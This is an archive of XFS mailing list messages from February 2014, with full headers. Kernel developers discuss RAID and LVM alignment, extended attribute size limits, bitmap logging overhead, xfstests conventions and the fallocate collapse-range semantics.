X-ASG-Debug-ID: 1391376116-04cbb00c289f940001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id rUqRho4av61heFOy for ; Sun, 02 Feb 2014 13:21:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAHi27lJ5LGaB/2dsb2JhbABZgwy5SIVSgQAXdIIlAQEFOhwjEAgDGAklDwUlAyETiATMLBcWjiVOB4Q4AQOYKZIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 07:51:56 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA4UC-0005Vw-LE; Mon, 03 Feb 2014 08:21:52 +1100 Date: Mon, 3 Feb 2014 08:21:52 +1100 From: Dave Chinner To: Stan Hoeppner Cc: "C. Morgan Hamill" , xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140202212152.GP2212@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52ED61C9.8060504@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391376116 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 03:06:17PM -0600, Stan Hoeppner wrote: > On 1/31/2014 3:14 PM, C. Morgan Hamill wrote: > > So, basically, --dataalignment is my friend during pvcreate and > > lvcreate. > > If the logical sector size reported by your RAID controller is 512 > bytes, then "--dataalignment=9216s" should start your data section on a > RAID60 stripe boundary after the metadata section. > > Tthe PhysicalExtentSize should probably also match the 4608KB stripe > width, but this is apparently not possible. PhysicalExtentSize must be > a power of 2 value. I don't know if or how this will affect XFS aligned > write out. You'll need to consult with someone more knowledgeable of LVM. You can't do single IOs of that size, anyway, so this is where the BBWC on the raid controller does it's magic and caches sequntial IOs until it has full stripe writes cached.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 15:31:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 021107F8C for ; Sun, 2 Feb 2014 15:31:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C9F288F8040 for ; Sun, 2 Feb 2014 13:31:00 -0800 (PST) X-ASG-Debug-ID: 1391376658-04cb6c6de3a4250001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id lmbxCRxXiUGqEJAt for ; Sun, 02 Feb 2014 13:30:59 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuMTANW47lJ5LGaB/2dsb2JhbABZgww4qQOQEIVSgQAXdIIlAQEBBDocHAcQCAMOCgklDwUlAyETiAQOzDMWjHaBNEkHhDgEmCmSIoFvgVIogS0 Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:00:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA4cY-0005Wj-2q; Mon, 03 Feb 2014 08:30:30 +1100 Date: Mon, 3 Feb 2014 08:30:30 +1100 From: Dave Chinner To: Chris Murphy Cc: "stan@hardwarefreak.com Hoeppner" , xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140202213030.GQ2212@dastard> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391376658 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 11:09:11AM -0700, Chris Murphy wrote: > On Feb 1, 2014, at 2:44 PM, Stan Hoeppner > wrote: > > On 2/1/2014 2:55 PM, Chris Murphy wrote: > >> On Feb 1, 2014, at 11:47 AM, Stan Hoeppner > >> wrote: > > When nesting stripes, the chunk size of the outer stripe is > > -always- equal to the stripe width of each inner striped array, > > as I clearly demonstrated earlier: > > Except when it's hardware raid6, and software raid0, and the user > doesn't know they need to specify the chunk size in this manner. > And instead they use the mdadm default. What you're saying makes > complete sense, but I don't think this is widespread knowledge or > well documented anywhere that regular end users would know this by > and large. And that is why this is a perfect example of what I'd like to see people writing documentation for. http://oss.sgi.com/archives/xfs/2013-12/msg00588.html This is not the first time we've had this nested RAID discussion, nor will it be the last. However, being able to point ot a web page or or documentation makes it a whole lot easier..... Stan - any chance you might be able to spare an hour a week to write something about optimal RAID storage configuration for XFS? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 15:37:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 239407F7C for ; Sun, 2 Feb 2014 15:37:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9A3AAC008 for ; Sun, 2 Feb 2014 13:37:15 -0800 (PST) X-ASG-Debug-ID: 1391377032-04cbb00c289fc70001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id ruCEvB80QNGSQJpb for ; Sun, 02 Feb 2014 13:37:13 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAPi57lJ5LGaB/2dsb2JhbABZgwy5S4VSgQAXdIIlAQEFOhwjEAgDGAklDwUlAyETiATMLBcWjggUVweEOASYKZIig0EogS0 Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:07:12 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA4j1-0005XP-8R; Mon, 03 Feb 2014 08:37:11 +1100 Date: Mon, 3 Feb 2014 08:37:11 +1100 From: Dave Chinner To: Jeff Liu Cc: Sun_Blood , xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux Message-ID: <20140202213711.GR2212@dastard> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux References: <52EB64DC.4020603@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EB64DC.4020603@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391377032 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 31, 2014 at 04:54:52PM +0800, Jeff Liu wrote: > Hello, > > On 01/31 2014 15:40 PM, Sun_Blood wrote: > > Hello, > > > > If I understands it correctly XFS don't have a limit to the size of > > extended attributes(EA) but Linux impose a limit at 64k. > > What I am trying to do is build a backup server that our Apple computers > > will use together with rsync to backup files to. The problem I face is > > that Apple HFS+ don't have a limit to EA so it has files with more then > > 64k of EA in it. > > > > The Linux Kernel has a limit imposed to it in include/linux/limits.h > > > > #defineXATTR_SIZE_MAX 65536 /* size of an extended attribute value > > (64k) */ > > > > #defineXATTR_LIST_MAX 65536 /* size of extended attribute namelist > > (64k) */ > > > > Yes, 64k is the VFS limit per EA value size. XFS has a limit of 64k as well. I suspect that we could handle larger EAs without too much problem as we already have the concept of a "remote EA" that is allocated outside of the attribute btree (but still inside the attribute address space). The problem with them is that they are written synchronously, and so large attributes written this way are slow operations. Still, until the VFS limit is lifted and we do a bunch more work to avoid XATTR_SIZE_MAX allocations everywhere there's no point looking at raising the XFS limit.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 15:52:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DC50A7F6D for ; Sun, 2 Feb 2014 15:52:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9AD45304053 for ; Sun, 2 Feb 2014 13:52:36 -0800 (PST) X-ASG-Debug-ID: 1391377953-04bdf0121db32a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OeFwbUBI6NgmHCgJ for ; Sun, 02 Feb 2014 13:52:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAIW97lJ5LGaB/2dsb2JhbABagwy5ToVSgQAXdIIlAQEFOhwjEAgDGAklDwUlAyETiATMJxcWjnMHhDgEmCmKUIdSg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:22:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA4xr-0005at-J4; Mon, 03 Feb 2014 08:52:31 +1100 Date: Mon, 3 Feb 2014 08:52:31 +1100 From: Dave Chinner To: Jeff Liu Cc: Mark Tinguely , Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() Message-ID: <20140202215231.GS2212@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> <52EBC67B.7020806@oracle.com> <52EBCF12.1020403@sgi.com> <52EC6EA0.9000501@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EC6EA0.9000501@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391377953 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 11:48:48AM +0800, Jeff Liu wrote: > On 02/01 2014 00:28 AM, Mark Tinguely wrote: > > On 01/31/14 09:51, Jeff Liu wrote: > >> On 01/31 2014 23:30 PM, Eric Sandeen wrote: > >>> On 1/31/14, 9:28 AM, Jeff Liu wrote: > >>>> Well, when I looking through our bitmap source, I once thought if > >>>> we can replace the current code with the generic bitmap library. > >>>> However, our map is uint rather than unsigned long... > >>> > >>> Technically the unsigned long (pointer) is just the bitmap address, > >>> I think. > >> > >> Yeah, so this might worth to try on long terms. > > > > The blf_data_map[] is int aligned, not long aligned. > > You could reflect the alignment difference in the offset or > > change the alignment in the structure. > > For now, I think we can not simply turn to generic bitmap just because > of the alignment difference on 64-bits OS. The bitmaps end up on disk (in the log), so replacing the implementation with a generic implementation is something we need to be very careful about. IMO, we should be getting rid of the bitmaps from the xfs_buf_log_item first (by moving to a low byte/high byte offset range), then we only have to worry about bitmaps when doing log recovery after a kernel upgrade on a filesystem with a dirty log. Getting rid of the bitmaps also solves a scalability problem with large block sizes tracking all the changes in buffer - we burn a huge amount of CPU walking bits when logging 64k directory buffers: + 21.19% [kernel] [k] xfs_dir3_leaf_check_int + 12.20% [kernel] [k] memcpy + 9.29% [kernel] [k] xfs_next_bit + 5.04% [kernel] [k] xfs_buf_offset + 3.63% [kernel] [k] xfs_buf_item_format + 3.59% [kernel] [k] xfs_buf_item_size_segment The logging of xfs_buf_log_items there is consuming >30% of the CPU being used under this workload (xfs_dir3_leaf_check_int() is high because this is from a debug kernel.) IOWs, we should work to remove the bitmap code from general operations first, then replace the remaining legacy log recovery code with the generic bitmap implemention.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 15:57:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1425E7F96 for ; Sun, 2 Feb 2014 15:57:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DB0E5304043 for ; Sun, 2 Feb 2014 13:57:23 -0800 (PST) X-ASG-Debug-ID: 1391378241-04cbb00c2aa00b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Y687yNBEdUIGHG9o for ; Sun, 02 Feb 2014 13:57:22 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAK6+7lJ5LGaB/2dsb2JhbABagwy5T4VSgQAXdIIlAQEFOhwcBxAIAxgJJQ8FDRgDIROHcQMQwmsNiTMXFoxdghYHhDgElj6Ba4xfhUODQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:27:21 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA52W-0005bQ-Dc; Mon, 03 Feb 2014 08:57:20 +1100 Date: Mon, 3 Feb 2014 08:57:20 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fb.com Subject: Re: [PATCH] xfstests: more tests for test case btrfs/030 Message-ID: <20140202215720.GT2212@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: more tests for test case btrfs/030 References: <1391220332-22118-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391220332-22118-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391378241 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 02:05:32AM +0000, Filipe David Borba Manana wrote: > This change adds some new tests for btrfs' incremental send feature. > These are all related with inverting the parent-child relationship > of directories, and cover the cases: > > * when the new parent didn't get renamed (just moved) > * when a child file of the former parent gets renamed too > > These new cases are fixed by the following btrfs linux kernel patches: > > * "Btrfs: more send support for parent/child dir relationship inversion" > * "Btrfs: fix send dealing with file renames and directory moves" > > Signed-off-by: Filipe David Borba Manana Rather than modifying 030 which will cause it to fail on kernels where it previously passed, can you factor out the common code and create a new test with the additional coverage? i.e. the rule of thumb is that once a test is "done" we don't go back and modify it in significant ways - we write a new unit test that covers the new/extended functionality. Redundancy in unit tests is not a bad thing... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 16:03:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4EA277F9E for ; Sun, 2 Feb 2014 16:03:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 292D18F8033 for ; Sun, 2 Feb 2014 14:03:52 -0800 (PST) X-ASG-Debug-ID: 1391378629-04cb6c6de0a48b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Cle21Ol6JXSG2RE7 for ; Sun, 02 Feb 2014 14:03:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JALS/7lJ5LGaB/2dsb2JhbABagwy5T4VSgQAXdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gEzC8XFo5zB4Q4BJgpilCHUoFvgVIo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:33:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA58k-0005ch-5C; Mon, 03 Feb 2014 09:03:46 +1100 Date: Mon, 3 Feb 2014 09:03:46 +1100 From: Dave Chinner To: Matthew Wilcox Cc: Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140202220346.GU2212@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> <20140202151624.GK20939@parisc-linux.org> <20140202152106.GL20939@parisc-linux.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140202152106.GL20939@parisc-linux.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391378629 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 08:21:06AM -0700, Matthew Wilcox wrote: > On Sun, Feb 02, 2014 at 08:16:24AM -0700, Matthew Wilcox wrote: > > On Sun, Feb 02, 2014 at 02:41:34PM +0900, Namjae Jeon wrote: > > > The semantics of this flag are following: > > > 1) It collapses the range lying between offset and length by removing any data > > > blocks which are present in this range and than updates all the logical > > > offsets of extents beyond "offset + len" to nullify the hole created by > > > removing blocks. In short, it does not leave a hole. > > > 2) It should be used exclusively. No other fallocate flag in combination. > > > 3) Offset and length supplied to fallocate should be fs block size aligned > > > in case of xfs and ext4. > > > 4) Collaspe range does not work beyond i_size. > > > > What if the file is mmaped at the time somebody issues this command? > > Seems to me we should drop pagecache pages that overlap with the > > removed blocks. If the removed range is not a multiple of PAGE_SIZE, > > then we should also drop any pagecache pages after the removed range. > > Oops, forgot to add "and if it is a multiple of page size, then we need > to update the offsets of any pages after the removed page". Yup, that's what the XFS implementation does when it punches the hole out of the file before shifting the extents down. Check xfs_free_file_space(): 1275 /* wait for the completion of any pending DIOs */ 1276 inode_dio_wait(VFS_I(ip)); 1277 1278 rounding = max_t(xfs_off_t, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); 1279 ioffset = offset & ~(rounding - 1); 1280 error = -filemap_write_and_wait_range(VFS_I(ip)->i_mapping, 1281 ioffset, -1); 1282 if (error) 1283 goto out; 1284 truncate_pagecache_range(VFS_I(ip), ioffset, -1); Bonus points for working out why the XFS code doesn't just use PAGE_CACHE_SIZE for rounding here.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Sun Feb 2 16:08:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EB9557F69 for ; Sun, 2 Feb 2014 16:08:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BFD3F8F8033 for ; Sun, 2 Feb 2014 14:08:09 -0800 (PST) X-ASG-Debug-ID: 1391378887-04cb6c6de1a49a0001-NocioJ Received: from mail-bk0-f41.google.com (mail-bk0-f41.google.com [209.85.214.41]) by cuda.sgi.com with ESMTP id iZN8iOzFKiky92ij (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 02 Feb 2014 14:08:08 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] Received: by mail-bk0-f41.google.com with SMTP id na10so2817887bkb.0 for ; Sun, 02 Feb 2014 14:08:07 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=b0yF2Nl9SR1kF4yCoVH9Pb3qRsfzrzu4I1Mh5CMSeoc=; b=Jd7GkclqLrsolMZZOt/Fg8MVD5ebKHdONhsiS7FXyIXYICXtp09g9VZZGOcKB8HMfy IuxRKI54BwsYccLlJP7TKjDJ7iRyt8zkhBjn2EgO1234Qf1Pc1hsSLqZ814DaTz5wcUk +lQ1VvaSIZBRr1BIWOUO9WvPCjrDVn+0A+ZCBCtbMWCota7WqWBLoINJ/zDOPWZai+Z1 qbuhjbfyELuES7CoimzMjnJAGHHbolnR2ImRppnjdarr3NIEysfivSqtO0ldppAiHCcn q6nl1w5CvKrXfCwdtqAG2z78/M6zIlPje4VX3HLcZHgZihjel7PLJ65ClWDATjfA38OU eE/A== MIME-Version: 1.0 X-Received: by 10.204.171.75 with SMTP id g11mr16081bkz.37.1391378886921; Sun, 02 Feb 2014 14:08:06 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 2 Feb 2014 14:08:06 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140202215720.GT2212@dastard> References: <1391220332-22118-1-git-send-email-fdmanana@gmail.com> <20140202215720.GT2212@dastard> Date: Sun, 2 Feb 2014 22:08:06 +0000 Message-ID: Subject: Re: [PATCH] xfstests: more tests for test case btrfs/030 From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: more tests for test case btrfs/030 To: Dave Chinner Cc: xfs@oss.sgi.com, "linux-btrfs@vger.kernel.org" , Josef Bacik Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f41.google.com[209.85.214.41] X-Barracuda-Start-Time: 1391378888 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Feb 2, 2014 at 9:57 PM, Dave Chinner wrote: > On Sat, Feb 01, 2014 at 02:05:32AM +0000, Filipe David Borba Manana wrote: >> This change adds some new tests for btrfs' incremental send feature. >> These are all related with inverting the parent-child relationship >> of directories, and cover the cases: >> >> * when the new parent didn't get renamed (just moved) >> * when a child file of the former parent gets renamed too >> >> These new cases are fixed by the following btrfs linux kernel patches: >> >> * "Btrfs: more send support for parent/child dir relationship inversion" >> * "Btrfs: fix send dealing with file renames and directory moves" >> >> Signed-off-by: Filipe David Borba Manana > > Rather than modifying 030 which will cause it to fail on kernels > where it previously passed, can you factor out the common code and > create a new test with the additional coverage? > > i.e. the rule of thumb is that once a test is "done" we don't go > back and modify it in significant ways - we write a new unit test > that covers the new/extended functionality. Redundancy in unit tests > is not a bad thing... Right. The only reason I did this, instead of a new test file, is that because the former fix which btrfs/030 relates to is not yet in any kernel release. Given this fact, what do you think? thanks > > Cheers, > > Dave. > -- > Dave Chinner > 